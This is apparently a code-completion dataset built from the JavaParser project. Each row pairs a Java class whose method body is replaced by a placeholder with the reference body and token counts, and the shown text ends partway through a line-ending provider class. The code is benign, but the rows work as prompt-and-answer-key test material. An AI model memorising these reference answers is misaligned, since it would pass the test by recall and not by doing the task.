| 536
| 369
| 905
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-metamodel-generator/src/main/java/com/github/javaparser/generator/metamodel/NodeMetaModelGenerator.java
|
NodeMetaModelGenerator
|
generate
|
class NodeMetaModelGenerator extends AbstractGenerator {
private final InitializePropertyMetaModelsStatementsGenerator initializePropertyMetaModelsStatementsGenerator = new InitializePropertyMetaModelsStatementsGenerator();
private final InitializeConstructorParametersStatementsGenerator initializeConstructorParametersStatementsGenerator = new InitializeConstructorParametersStatementsGenerator();
public static final String GENERATED_CLASS_COMMENT = "" +
"This file, class, and its contents are completely generated based on:" +
"\n<ul>" +
"\n <li>The contents and annotations within the package `com.github.javaparser.ast`, and</li>" +
"\n <li>`ALL_NODE_CLASSES` within the class `com.github.javaparser.generator.metamodel.MetaModelGenerator`.</li>" +
"\n</ul>" +
"\n" +
"\nFor this reason, any changes made directly to this file will be overwritten the next time generators are run." +
"";
private static final String GENERATED_JAVADOC_COMMENT = "Warning: The content of this class is partially or completely generated - manual edits risk being overwritten.";
protected NodeMetaModelGenerator(SourceRoot sourceRoot) {
super(sourceRoot);
}
public void generate(Class<? extends Node> nodeClass, ClassOrInterfaceDeclaration metaModelCoid, NodeList<Statement> initializeNodeMetaModelsStatements, NodeList<Statement> initializePropertyMetaModelsStatements, NodeList<Statement> initializeConstructorParametersStatements, SourceRoot sourceRoot) throws NoSuchMethodException {<FILL_FUNCTION_BODY>}
private void moveStaticInitializeToTheEndOfTheClassBecauseWeNeedTheFieldsToInitializeFirst(ClassOrInterfaceDeclaration metaModelCoid) {
for (BodyDeclaration<?> m : metaModelCoid.getMembers()) {
if (m instanceof InitializerDeclaration) {
m.remove();
metaModelCoid.addMember(m);
return;
}
}
}
private boolean fieldShouldBeIgnored(Field reflectionField) {
return java.lang.reflect.Modifier.isStatic(reflectionField.getModifiers()) ||
reflectionField.isAnnotationPresent(InternalProperty.class);
}
}
|
metaModelCoid.setJavadocComment(GENERATED_JAVADOC_COMMENT);
final AstTypeAnalysis typeAnalysis = new AstTypeAnalysis(nodeClass);
final String className = MetaModelGenerator.nodeMetaModelName(nodeClass);
final String nodeMetaModelFieldName = decapitalize(className);
metaModelCoid.getFieldByName(nodeMetaModelFieldName).ifPresent(Node::remove);
initializeNodeMetaModelsStatements.add(parseStatement(f("nodeMetaModels.add(%s);", nodeMetaModelFieldName)));
this.initializeConstructorParametersStatementsGenerator.generate(nodeClass, initializeConstructorParametersStatements);
final Class<?> superclass = nodeClass.getSuperclass();
final String superNodeMetaModel = MetaModelGenerator.nodeMetaModelName(superclass);
final boolean isRootNode = !MetaModelGenerator.isNode(superclass);
final FieldDeclaration nodeField = metaModelCoid.addField(className, nodeMetaModelFieldName, PUBLIC, STATIC, FINAL);
annotateGenerated(nodeField);
nodeField.getVariable(0).setInitializer(
parseExpression(
f("new %s(%s)",
className,
optionalOf(decapitalize(superNodeMetaModel), !isRootNode))
)
);
// The node-specific metamodel file
final CompilationUnit classMetaModelJavaFile = new CompilationUnit(MetaModelGenerator.METAMODEL_PACKAGE);
classMetaModelJavaFile.setBlockComment(COPYRIGHT_NOTICE_JP_CORE);
classMetaModelJavaFile.addImport(Optional.class);
classMetaModelJavaFile.addImport(nodeClass);
//
final ClassOrInterfaceDeclaration nodeMetaModelClass = classMetaModelJavaFile.addClass(className, PUBLIC);
annotateGenerated(nodeMetaModelClass);
nodeMetaModelClass.setJavadocComment(GENERATED_CLASS_COMMENT);
if (isRootNode) {
nodeMetaModelClass.addExtendedType(MetaModelGenerator.BASE_NODE_META_MODEL);
} else {
nodeMetaModelClass.addExtendedType(superNodeMetaModel);
}
// Constructors
final ConstructorDeclaration classMMConstructor = nodeMetaModelClass
.addConstructor()
.addParameter(
f("Optional<%s>", MetaModelGenerator.BASE_NODE_META_MODEL),
f("super%s", MetaModelGenerator.BASE_NODE_META_MODEL)
);
classMMConstructor
.getBody()
.addStatement(
parseExplicitConstructorInvocationStmt(f("super(super%s, %s.class, \"%s\", \"%s\", %s, %s);",
MetaModelGenerator.BASE_NODE_META_MODEL,
nodeClass.getSimpleName(),
nodeClass.getSimpleName(),
nodeClass.getPackage().getName(),
typeAnalysis.isAbstract,
typeAnalysis.isSelfType
))
);
annotateGenerated(classMMConstructor);
// ?Abstract protected constructor?
if (typeAnalysis.isAbstract) {
classMetaModelJavaFile.addImport(Node.class);
BodyDeclaration<?> bodyDeclaration = parseBodyDeclaration(f(
"protected %s(Optional<%s> superNodeMetaModel, Class<? extends Node> type, String name, String packageName, boolean isAbstract, boolean hasWildcard) {" +
"super(superNodeMetaModel, type, name, packageName, isAbstract, hasWildcard);" +
" }",
className,
MetaModelGenerator.BASE_NODE_META_MODEL
));
annotateGenerated(bodyDeclaration);
nodeMetaModelClass.addMember(bodyDeclaration);
}
// Fields, sorted by name.
final List<Field> fields = new ArrayList<>(Arrays.asList(nodeClass.getDeclaredFields()));
fields.sort(Comparator.comparing(Field::getName));
for (Field field : fields) {
if (this.fieldShouldBeIgnored(field)) {
continue;
}
this.initializePropertyMetaModelsStatementsGenerator.generate(field, nodeMetaModelClass, nodeMetaModelFieldName, initializePropertyMetaModelsStatements);
}
// Methods, sorted by name.
final List<Method> methods = new ArrayList<>(Arrays.asList(nodeClass.getMethods()));
methods.sort(Comparator.comparing(Method::getName));
for (Method method : methods) {
if (method.isAnnotationPresent(DerivedProperty.class)) {
this.initializePropertyMetaModelsStatementsGenerator.generateDerivedProperty(method, nodeMetaModelClass, nodeMetaModelFieldName, initializePropertyMetaModelsStatements);
}
}
this.moveStaticInitializeToTheEndOfTheClassBecauseWeNeedTheFieldsToInitializeFirst(metaModelCoid);
// Add the file to the source root, enabling it to be saved later.
sourceRoot.add(MetaModelGenerator.METAMODEL_PACKAGE, className + ".java", classMetaModelJavaFile);
| 546
| 1,277
| 1,823
|
<methods><variables>protected static final java.lang.String COPYRIGHT_NOTICE_JP_CORE,protected static final java.lang.String COPYRIGHT_NOTICE_JP_SS,protected final non-sealed com.github.javaparser.utils.SourceRoot sourceRoot
|
javaparser_javaparser
|
javaparser/javaparser-core-serialization/src/main/java/com/github/javaparser/serialization/JavaParserJsonDeserializer.java
|
JavaParserJsonDeserializer
|
readToken
|
class JavaParserJsonDeserializer {
/**
* Deserializes json, contained by JsonReader, into AST node.
* The root node and all its child nodes will be deserialized.
* @param reader json-p reader (object-level reader, <a href="https://javaee.github.io/jsonp/">see their docs</a>)
* @return the root level deserialized node
*/
public Node deserializeObject(JsonReader reader) {
Log.info("Deserializing JSON to Node.");
JsonObject jsonObject = reader.readObject();
return deserializeObject(jsonObject);
}
/**
* Recursive depth-first deserializing method that creates a Node instance from JsonObject.
*
* @param nodeJson json object at current level containg values as properties
* @return deserialized node including all children.
* @implNote the Node instance will be constructed by the properties defined in the meta model.
* Non meta properties will be set after Node is instantiated.
* @implNote comment is included in the propertyKey meta model, but not set when constructing the Node instance.
* That is, comment is not included in the constructor propertyKey list, and therefore needs to be set
* after constructing the node.
* See {@link com.github.javaparser.metamodel.BaseNodeMetaModel#construct(Map)} how the node is contructed
*/
private Node deserializeObject(JsonObject nodeJson) {
try {
String serializedNodeType = nodeJson.getString(JsonNode.CLASS.propertyKey);
BaseNodeMetaModel nodeMetaModel = getNodeMetaModel(Class.forName(serializedNodeType))
.orElseThrow(() -> new IllegalStateException("Trying to deserialize an unknown node type: " + serializedNodeType));
Map<String, Object> parameters = new HashMap<>();
Map<String, JsonValue> deferredJsonValues = new HashMap<>();
for (String name : nodeJson.keySet()) {
if (name.equals(JsonNode.CLASS.propertyKey)) {
continue;
}
Optional<PropertyMetaModel> optionalPropertyMetaModel = nodeMetaModel.getAllPropertyMetaModels().stream()
.filter(mm -> mm.getName().equals(name))
.findFirst();
if (!optionalPropertyMetaModel.isPresent()) {
deferredJsonValues.put(name, nodeJson.get(name));
continue;
}
PropertyMetaModel propertyMetaModel = optionalPropertyMetaModel.get();
if (propertyMetaModel.isNodeList()) {
JsonArray nodeListJson = nodeJson.getJsonArray(name);
parameters.put(name, deserializeNodeList(nodeListJson));
} else if (propertyMetaModel.isNode()) {
parameters.put(name, deserializeObject(nodeJson.getJsonObject(name)));
} else {
Class<?> type = propertyMetaModel.getType();
if (type == String.class) {
parameters.put(name, nodeJson.getString(name));
} else if (type == boolean.class) {
parameters.put(name, Boolean.parseBoolean(nodeJson.getString(name)));
} else if (Enum.class.isAssignableFrom(type)) {
parameters.put(name, Enum.valueOf((Class<? extends Enum>) type, nodeJson.getString(name)));
} else {
throw new IllegalStateException("Don't know how to convert: " + type);
}
}
}
Node node = nodeMetaModel.construct(parameters);
// COMMENT is in the propertyKey meta model, but not required as constructor parameter.
// Set it after construction
if (parameters.containsKey(JsonNode.COMMENT.propertyKey)) {
node.setComment((Comment)parameters.get(JsonNode.COMMENT.propertyKey));
}
for (String name : deferredJsonValues.keySet()) {
if (!readNonMetaProperties(name, deferredJsonValues.get(name), node)) {
throw new IllegalStateException("Unknown propertyKey: " + nodeMetaModel.getQualifiedClassName() + "." + name);
}
}
setSymbolResolverIfCompilationUnit(node);
return node;
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
private NodeList<?> deserializeNodeList(JsonArray nodeListJson) {
return nodeListJson.stream().map(nodeJson -> deserializeObject((JsonObject) nodeJson)).collect(toNodeList());
}
/**
* Reads properties from json not included in meta model (i.e., RANGE and TOKEN_RANGE).
* When read, it sets the deserialized value to the node instance.
* @param name propertyKey name for json value
* @param jsonValue json value that needs to be deserialized for this propertyKey
* @param node instance to which the deserialized value will be set to
* @return true if propertyKey is read from json and set to Node instance
*/
protected boolean readNonMetaProperties(String name, JsonValue jsonValue, Node node) {
return readRange(name, jsonValue, node)
|| readTokenRange(name, jsonValue, node);
}
protected boolean readRange(String name, JsonValue jsonValue, Node node) {
if (name.equals(JsonNode.RANGE.propertyKey)) {
JsonObject jsonObject = (JsonObject)jsonValue;
Position begin = new Position(
jsonObject.getInt(JsonRange.BEGIN_LINE.propertyKey),
jsonObject.getInt(JsonRange.BEGIN_COLUMN.propertyKey)
);
Position end = new Position(
jsonObject.getInt(JsonRange.END_LINE.propertyKey),
jsonObject.getInt(JsonRange.END_COLUMN.propertyKey)
);
node.setRange(new Range(begin, end));
return true;
}
return false;
}
protected boolean readTokenRange(String name, JsonValue jsonValue, Node node) {
if (name.equals(JsonNode.TOKEN_RANGE.propertyKey)) {
JsonObject jsonObject = (JsonObject)jsonValue;
JavaToken begin = readToken(
JsonTokenRange.BEGIN_TOKEN.propertyKey, jsonObject
);
JavaToken end = readToken(
JsonTokenRange.END_TOKEN.propertyKey, jsonObject
);
node.setTokenRange(new TokenRange(begin, end));
return true;
}
return false;
}
protected JavaToken readToken(String name, JsonObject jsonObject) {<FILL_FUNCTION_BODY>}
/**
* This method sets symbol resolver to Node if it is an instance of CompilationUnit
* and a SymbolResolver is configured in the static configuration. This is necessary to be able to resolve symbols
* within the cu after deserialization. Normally, when parsing java with JavaParser, the symbol resolver is injected
* to the cu as a data element with key SYMBOL_RESOLVER_KEY.
* @param node instance to which symbol resolver will be set to when instance of a Compilation Unit
* @see com.github.javaparser.ast.Node#SYMBOL_RESOLVER_KEY
* @see com.github.javaparser.ParserConfiguration#ParserConfiguration()
*/
private void setSymbolResolverIfCompilationUnit(Node node) {
if (node instanceof CompilationUnit && StaticJavaParser.getConfiguration().getSymbolResolver().isPresent()) {
CompilationUnit cu = (CompilationUnit)node;
cu.setData(Node.SYMBOL_RESOLVER_KEY, StaticJavaParser.getConfiguration().getSymbolResolver().get());
}
}
}
|
JsonObject tokenJson = jsonObject.getJsonObject(name);
return new JavaToken(
tokenJson.getInt(JsonToken.KIND.propertyKey),
tokenJson.getString(JsonToken.TEXT.propertyKey)
);
| 1,935
| 61
| 1,996
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core-serialization/src/main/java/com/github/javaparser/serialization/JavaParserJsonSerializer.java
|
JavaParserJsonSerializer
|
serialize
|
class JavaParserJsonSerializer {
/**
* Serializes node and all its children into json. Any node siblings will be ignored.
*
* @param node the node that will be the root level json object
* @param generator the json-p generator for writing the json
* @see <a href="https://javaee.github.io/jsonp/">json-p</a>
*/
public void serialize(Node node, JsonGenerator generator) {<FILL_FUNCTION_BODY>}
/**
* Recursive depth-first method that serializes nodes into json
*
* @param nodeName nullable String. If null, it is the root object, otherwise it is the property key for the object
* @param node the current node to be serialized
* @param generator the json-p generator for writing the json
*/
private void serialize(String nodeName, Node node, JsonGenerator generator) {
requireNonNull(node);
BaseNodeMetaModel nodeMetaModel = JavaParserMetaModel.getNodeMetaModel(node.getClass()).orElseThrow(() -> new IllegalStateException("Unknown Node: " + node.getClass()));
if (nodeName == null) {
generator.writeStartObject();
} else {
generator.writeStartObject(nodeName);
}
generator.write(JsonNode.CLASS.propertyKey, node.getClass().getName());
this.writeNonMetaProperties(node, generator);
for (PropertyMetaModel propertyMetaModel : nodeMetaModel.getAllPropertyMetaModels()) {
String name = propertyMetaModel.getName();
Object value = propertyMetaModel.getValue(node);
if (value != null) {
if (propertyMetaModel.isNodeList()) {
NodeList<Node> list = (NodeList<Node>) value;
generator.writeStartArray(name);
for (Node n : list) {
serialize(null, n, generator);
}
generator.writeEnd();
} else if (propertyMetaModel.isNode()) {
serialize(name, (Node) value, generator);
} else {
generator.write(name, value.toString());
}
}
}
generator.writeEnd();
}
/***
* This method writes json for properties not included in meta model (i.e., RANGE and TOKEN_RANGE).
* This method could be overriden so that - for example - tokens are not written to json to save space
*
* @see com.github.javaparser.metamodel.BaseNodeMetaModel#getAllPropertyMetaModels()
*/
protected void writeNonMetaProperties(Node node, JsonGenerator generator) {
this.writeRange(node, generator);
this.writeTokens(node, generator);
}
protected void writeRange(Node node, JsonGenerator generator) {
if (node.hasRange()) {
Range range = node.getRange().get();
generator.writeStartObject(JsonNode.RANGE.propertyKey);
generator.write(JsonRange.BEGIN_LINE.propertyKey, range.begin.line);
generator.write(JsonRange.BEGIN_COLUMN.propertyKey, range.begin.column);
generator.write(JsonRange.END_LINE.propertyKey, range.end.line);
generator.write(JsonRange.END_COLUMN.propertyKey, range.end.column);
generator.writeEnd();
}
}
protected void writeTokens(Node node, JsonGenerator generator) {
if (node.getTokenRange().isPresent()) {
TokenRange tokenRange = node.getTokenRange().get();
generator.writeStartObject(JsonNode.TOKEN_RANGE.propertyKey);
writeToken(JsonTokenRange.BEGIN_TOKEN.propertyKey, tokenRange.getBegin(), generator);
writeToken(JsonTokenRange.END_TOKEN.propertyKey, tokenRange.getEnd(), generator);
generator.writeEnd();
}
}
protected void writeToken(String name, JavaToken token, JsonGenerator generator) {
generator.writeStartObject(name);
generator.write(JsonToken.KIND.propertyKey, token.getKind());
generator.write(JsonToken.TEXT.propertyKey, token.getText());
generator.writeEnd();
}
/**
* excludes properties from meta model (except comment)
**/
public enum JsonNode {
RANGE("range"),
TOKEN_RANGE("tokenRange"),
COMMENT(decapitalize(JavaParserMetaModel.commentMetaModel.getTypeName())),
CLASS("!");
final String propertyKey;
JsonNode(String p) {
this.propertyKey = p;
}
public String toString() {
return this.propertyKey;
}
}
public enum JsonRange {
BEGIN_LINE("beginLine"),
BEGIN_COLUMN("beginColumn"),
END_LINE("endLine"),
END_COLUMN("endColumn");
final String propertyKey;
JsonRange(String p) {
this.propertyKey = p;
}
public String toString() {
return this.propertyKey;
}
}
public enum JsonTokenRange {
BEGIN_TOKEN("beginToken"),
END_TOKEN("endToken");
final String propertyKey;
JsonTokenRange(String p) {
this.propertyKey = p;
}
public String toString() {
return this.propertyKey;
}
}
public enum JsonToken {
TEXT("text"),
KIND("kind");
final String propertyKey;
JsonToken(String p) {
this.propertyKey = p;
}
public String toString() {
return this.propertyKey;
}
}
}
|
requireNonNull(node);
Log.info("Serializing Node to JSON.");
try {
serialize(null, node, generator);
} finally {
generator.close();
}
| 1,448
| 52
| 1,500
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/CommentsInserter.java
|
CommentsInserter
|
insertComments
|
class CommentsInserter {
private final ParserConfiguration configuration;
CommentsInserter(ParserConfiguration configuration) {
this.configuration = configuration;
}
/**
* Comments are attributed to the thing they comment and are removed from
* the comments.
*/
private void insertComments(CompilationUnit cu, TreeSet<Comment> comments) {
if (comments.isEmpty())
return;
/* I should sort all the direct children and the comments, if a comment
is the first thing then it is a comment to the CompilationUnit */
// FIXME if there is no package it could be also a comment to the following class...
// so I could use some heuristics in these cases to distinguish the two
// cases
List<Node> children = cu.getChildNodes();
Comment firstComment = comments.iterator().next();
if (cu.getPackageDeclaration().isPresent() && (children.isEmpty() || PositionUtils.areInOrder(firstComment, cu.getPackageDeclaration().get()))) {
cu.setComment(firstComment);
comments.remove(firstComment);
}
}
/**
* This method try to attributes the nodes received to child of the node. It
* returns the node that were not attributed.
*/
void insertComments(Node node, TreeSet<Comment> commentsToAttribute) {<FILL_FUNCTION_BODY>}
private void attributeLineCommentsOnSameLine(TreeSet<Comment> commentsToAttribute, List<Node> children) {
/* I can attribute in line comments to elements preceeding them, if
there is something contained in their line */
List<Comment> attributedComments = new LinkedList<>();
commentsToAttribute.stream().filter(comment -> comment.hasRange()).filter(Comment::isLineComment).forEach(comment -> children.stream().filter(child -> child.hasRange()).forEach(child -> {
Range commentRange = comment.getRange().get();
Range childRange = child.getRange().get();
if (childRange.end.line == commentRange.begin.line && attributeLineCommentToNodeOrChild(child, comment.asLineComment())) {
attributedComments.add(comment);
}
}));
commentsToAttribute.removeAll(attributedComments);
}
private boolean attributeLineCommentToNodeOrChild(Node node, LineComment lineComment) {
if (!node.hasRange() || !lineComment.hasRange()) {
return false;
}
// The node start and end at the same line as the comment,
// let's give to it the comment
if (node.getBegin().get().line == lineComment.getBegin().get().line && !node.getComment().isPresent()) {
if (!(node instanceof Comment)) {
node.setComment(lineComment);
}
return true;
}
// try with all the children, sorted by reverse position (so the
// first one is the nearest to the comment
List<Node> children = new LinkedList<>();
children.addAll(node.getChildNodes());
PositionUtils.sortByBeginPosition(children);
Collections.reverse(children);
for (Node child : children) {
if (attributeLineCommentToNodeOrChild(child, lineComment)) {
return true;
}
}
return false;
}
private boolean thereAreLinesBetween(Node a, Node b) {
if (!a.hasRange() || !b.hasRange()) {
return true;
}
if (!PositionUtils.areInOrder(a, b)) {
return thereAreLinesBetween(b, a);
}
int endOfA = a.getEnd().get().line;
return b.getBegin().get().line > endOfA + 1;
}
private boolean commentIsOnNextLine(Node a, Comment c) {
if (!c.hasRange() || !a.hasRange())
return false;
return c.getRange().get().end.line + 1 == a.getRange().get().begin.line;
}
}
|
if (commentsToAttribute.isEmpty())
return;
if (node instanceof CompilationUnit) {
insertComments((CompilationUnit) node, commentsToAttribute);
}
/* the comment can...
1) be inside one of the children, then the comment should be associated to this child
2) be outside all children. They could be preceding nothing, a comment or a child.
If they preceed a child they are assigned to it, otherwise they remain "orphans"
*/
List<Node> children = node.getChildNodes().stream().// Never attribute comments to modifiers.
filter(n -> !(n instanceof Modifier)).collect(toList());
boolean attributeToAnnotation = !(configuration.isIgnoreAnnotationsWhenAttributingComments());
for (Node child : children) {
TreeSet<Comment> commentsInsideChild = new TreeSet<>(NODE_BY_BEGIN_POSITION);
commentsInsideChild.addAll(commentsToAttribute.stream().filter(comment -> comment.hasRange()).filter(comment -> PositionUtils.nodeContains(child, comment, !attributeToAnnotation)).collect(toList()));
commentsToAttribute.removeAll(commentsInsideChild);
insertComments(child, commentsInsideChild);
}
attributeLineCommentsOnSameLine(commentsToAttribute, children);
/* if a comment is on the line right before a node it should belong
to that node*/
if (!commentsToAttribute.isEmpty()) {
if (commentIsOnNextLine(node, commentsToAttribute.first())) {
node.setComment(commentsToAttribute.first());
commentsToAttribute.remove(commentsToAttribute.first());
}
}
/* at this point I create an ordered list of all remaining comments and
children */
Comment previousComment = null;
final List<Comment> attributedComments = new LinkedList<>();
List<Node> childrenAndComments = new LinkedList<>();
// Avoid attributing comments to a meaningless container.
childrenAndComments.addAll(children);
commentsToAttribute.removeAll(attributedComments);
childrenAndComments.addAll(commentsToAttribute);
PositionUtils.sortByBeginPosition(childrenAndComments, configuration.isIgnoreAnnotationsWhenAttributingComments());
for (Node thing : childrenAndComments) {
if (thing instanceof Comment) {
previousComment = (Comment) thing;
if (!previousComment.isOrphan()) {
previousComment = null;
}
} else {
if (previousComment != null && !thing.getComment().isPresent()) {
if (!configuration.isDoNotAssignCommentsPrecedingEmptyLines() || !thereAreLinesBetween(previousComment, thing)) {
thing.setComment(previousComment);
attributedComments.add(previousComment);
previousComment = null;
}
}
}
}
commentsToAttribute.removeAll(attributedComments);
// all the remaining are orphan nodes
for (Comment c : commentsToAttribute) {
if (c.isOrphan()) {
node.addOrphanComment(c);
}
}
| 1,002
| 764
| 1,766
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/JavaParserAdapter.java
|
JavaParserAdapter
|
handleResult
|
class JavaParserAdapter {
/**
* Wraps the {@link JavaParser}.
*
* @param parser The java parser to be used.
*
* @return The created QuickJavaParser.
*/
public static JavaParserAdapter of(JavaParser parser) {
return new JavaParserAdapter(parser);
}
private final JavaParser parser;
public JavaParserAdapter(JavaParser parser) {
this.parser = Objects.requireNonNull(parser, "A non-null parser should be provided.");
}
public JavaParser getParser() {
return parser;
}
/**
* Helper function to handle the result in a simpler way.
*
* @param result The result to be handled.
*
* @param <T> The return type.
*
* @return The parsed value.
*/
private <T extends Node> T handleResult(ParseResult<T> result) {<FILL_FUNCTION_BODY>}
public ParserConfiguration getParserConfiguration() {
return parser.getParserConfiguration();
}
public CompilationUnit parse(InputStream in) {
return handleResult(getParser().parse(in));
}
public CompilationUnit parse(File file) throws FileNotFoundException {
return handleResult(getParser().parse(file));
}
public CompilationUnit parse(Path path) throws IOException {
return handleResult(getParser().parse(path));
}
public CompilationUnit parse(Reader reader) {
return handleResult(getParser().parse(reader));
}
public CompilationUnit parse(String code) {
return handleResult(getParser().parse(code));
}
public CompilationUnit parseResource(String path) throws IOException {
return handleResult(getParser().parseResource(path));
}
public BlockStmt parseBlock(String blockStatement) {
return handleResult(getParser().parseBlock(blockStatement));
}
public Statement parseStatement(String statement) {
return handleResult(getParser().parseStatement(statement));
}
public ImportDeclaration parseImport(String importDeclaration) {
return handleResult(getParser().parseImport(importDeclaration));
}
public <T extends Expression> T parseExpression(String expression) {
return handleResult(getParser().parseExpression(expression));
}
public AnnotationExpr parseAnnotation(String annotation) {
return handleResult(getParser().parseAnnotation(annotation));
}
public BodyDeclaration<?> parseAnnotationBodyDeclaration(String body) {
return handleResult(getParser().parseAnnotationBodyDeclaration(body));
}
public BodyDeclaration<?> parseBodyDeclaration(String body) {
return handleResult(getParser().parseBodyDeclaration(body));
}
public ClassOrInterfaceType parseClassOrInterfaceType(String type) {
return handleResult(getParser().parseClassOrInterfaceType(type));
}
public Type parseType(String type) {
return handleResult(getParser().parseType(type));
}
public VariableDeclarationExpr parseVariableDeclarationExpr(String declaration) {
return handleResult(getParser().parseVariableDeclarationExpr(declaration));
}
public Javadoc parseJavadoc(String content) {
return JavadocParser.parse(content);
}
public ExplicitConstructorInvocationStmt parseExplicitConstructorInvocationStmt(String statement) {
return handleResult(getParser().parseExplicitConstructorInvocationStmt(statement));
}
public Name parseName(String qualifiedName) {
return handleResult(getParser().parseName(qualifiedName));
}
public SimpleName parseSimpleName(String name) {
return handleResult(getParser().parseSimpleName(name));
}
public Parameter parseParameter(String parameter) {
return handleResult(getParser().parseParameter(parameter));
}
public PackageDeclaration parsePackageDeclaration(String packageDeclaration) {
return handleResult(getParser().parsePackageDeclaration(packageDeclaration));
}
public TypeDeclaration<?> parseTypeDeclaration(String typeDeclaration) {
return handleResult(getParser().parseTypeDeclaration(typeDeclaration));
}
public ModuleDeclaration parseModuleDeclaration(String moduleDeclaration) {
return handleResult(getParser().parseModuleDeclaration(moduleDeclaration));
}
public ModuleDirective parseModuleDirective(String moduleDirective) {
return handleResult(getParser().parseModuleDirective(moduleDirective));
}
public TypeParameter parseTypeParameter(String typeParameter) {
return handleResult(getParser().parseTypeParameter(typeParameter));
}
public MethodDeclaration parseMethodDeclaration(String methodDeclaration) {
return handleResult(getParser().parseMethodDeclaration(methodDeclaration));
}
public ArrayInitializerExpr parseArrayInitializerExpr(String arrayInitializerExpr) {
return handleResult(getParser().parseArrayInitializerExpr(arrayInitializerExpr));
}
}
|
if (result.isSuccessful()) {
return result.getResult().orElse(null);
}
throw new ParseProblemException(result.getProblems());
| 1,244
| 48
| 1,292
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/JavadocParser.java
|
JavadocParser
|
cleanLines
|
class JavadocParser {
private static String BLOCK_TAG_PREFIX = "@";
private static Pattern BLOCK_PATTERN = Pattern.compile("^\\s*" + BLOCK_TAG_PREFIX, Pattern.MULTILINE);
public static Javadoc parse(JavadocComment comment) {
return parse(comment.getContent());
}
public static Javadoc parse(String commentContent) {
List<String> cleanLines = cleanLines(normalizeEolInTextBlock(commentContent, SYSTEM_EOL));
int indexOfFirstBlockTag = cleanLines.stream().filter(JavadocParser::isABlockLine).map(cleanLines::indexOf).findFirst().orElse(-1);
List<String> blockLines;
String descriptionText;
if (indexOfFirstBlockTag == -1) {
descriptionText = trimRight(String.join(SYSTEM_EOL, cleanLines));
blockLines = Collections.emptyList();
} else {
descriptionText = trimRight(String.join(SYSTEM_EOL, cleanLines.subList(0, indexOfFirstBlockTag)));
// Combine cleaned lines, but only starting with the first block tag till the end
// In this combined string it is easier to handle multiple lines which actually belong together
String tagBlock = cleanLines.subList(indexOfFirstBlockTag, cleanLines.size()).stream().collect(Collectors.joining(SYSTEM_EOL));
// Split up the entire tag back again, considering now that some lines belong to the same block tag.
// The pattern splits the block at each new line starting with the '@' symbol, thus the symbol
// then needs to be added again so that the block parsers handles everything correctly.
blockLines = BLOCK_PATTERN.splitAsStream(tagBlock).filter(s1 -> !s1.isEmpty()).map(s -> BLOCK_TAG_PREFIX + s).collect(Collectors.toList());
}
Javadoc document = new Javadoc(JavadocDescription.parseText(descriptionText));
blockLines.forEach(l -> document.addBlockTag(parseBlockTag(l)));
return document;
}
private static JavadocBlockTag parseBlockTag(String line) {
line = line.trim().substring(1);
String tagName = nextWord(line);
String rest = line.substring(tagName.length()).trim();
return new JavadocBlockTag(tagName, rest);
}
private static boolean isABlockLine(String line) {
return line.trim().startsWith(BLOCK_TAG_PREFIX);
}
private static String trimRight(String string) {
while (!string.isEmpty() && Character.isWhitespace(string.charAt(string.length() - 1))) {
string = string.substring(0, string.length() - 1);
}
return string;
}
private static List<String> cleanLines(String content) {<FILL_FUNCTION_BODY>}
// Visible for testing
static int startsWithAsterisk(String line) {
if (line.startsWith("*")) {
return 0;
}
if ((line.startsWith(" ") || line.startsWith("\t")) && line.length() > 1) {
int res = startsWithAsterisk(line.substring(1));
if (res == -1) {
return -1;
}
return 1 + res;
}
return -1;
}
}
|
String[] lines = content.split(SYSTEM_EOL);
if (lines.length == 0) {
return Collections.emptyList();
}
List<String> cleanedLines = Arrays.stream(lines).map(l -> {
int asteriskIndex = startsWithAsterisk(l);
if (asteriskIndex == -1) {
return l;
}
if (l.length() > (asteriskIndex + 1)) {
char c = l.charAt(asteriskIndex + 1);
if (c == ' ' || c == '\t') {
return l.substring(asteriskIndex + 2);
}
}
return l.substring(asteriskIndex + 1);
}).collect(Collectors.toList());
// lines containing only whitespace are normalized to empty lines
cleanedLines = cleanedLines.stream().map(l -> l.trim().isEmpty() ? "" : l).collect(Collectors.toList());
// if the first starts with a space, remove it
if (!cleanedLines.get(0).isEmpty() && (cleanedLines.get(0).charAt(0) == ' ' || cleanedLines.get(0).charAt(0) == '\t')) {
cleanedLines.set(0, cleanedLines.get(0).substring(1));
}
// drop empty lines at the beginning and at the end
while (cleanedLines.size() > 0 && cleanedLines.get(0).trim().isEmpty()) {
cleanedLines = cleanedLines.subList(1, cleanedLines.size());
}
while (cleanedLines.size() > 0 && cleanedLines.get(cleanedLines.size() - 1).trim().isEmpty()) {
cleanedLines = cleanedLines.subList(0, cleanedLines.size() - 1);
}
return cleanedLines;
| 890
| 471
| 1,361
|
<no_super_class>
|
javaparser_javaparser
|
javaparser/javaparser-core/src/main/java/com/github/javaparser/LineEndingProcessingProvider.java
|
LineEndingProcessingProvider
|
read
|
class LineEndingProcessingProvider implements Provider {
private static final int EOF = -1;
private static final int DEFAULT_BUFFER_SIZE = 2048;
/**
* The "other" provider which we are wrapping around / reading from.
*/
private final Provider _input;
/**
* The buffer that we're storing data within.
*/
private final char[] _data;
/**
* The number of characters in {@link #_data}.
*/
private int _len = 0;
/**
* The position in {@link #_data} where to read the next source character from.
*/
private int _pos = 0;
private final Map<LineSeparator, Integer> eolCounts = new HashMap<>();
public LineEndingProcessingProvider(Provider input) {
this(DEFAULT_BUFFER_SIZE, input);
}
public LineEndingProcessingProvider(int bufferSize, Provider input) {
_input = input;
_data = new char[bufferSize];
}
@Override
public void close() throws IOException {
_input.close();
}
private int fillBuffer() throws IOException {
_pos = 0;
int direct = _input.read(_data, 0, _data.length);
if (direct != 0) {
_len = direct;
}
return direct;
}
public LineSeparator getDetectedLineEnding() {
return LineSeparator.getLineEnding(eolCounts.getOrDefault(LineSeparator.CR, 0), eolCounts.getOrDefault(LineSeparator.LF, 0), eolCounts.getOrDefault(LineSeparator.CRLF, 0));
}
private boolean isBufferEmpty() {
return _pos >= _len;
}
/**
* Retrieves the next un-escaped character from the buffered {@link #_input}.
*
* @return The next character or {@code -1} if no more input is available.
*/
private int nextBufferedChar() throws IOException {
while (isBufferEmpty()) {
int direct = fillBuffer();
if (direct < 0) {
return EOF;
}
}
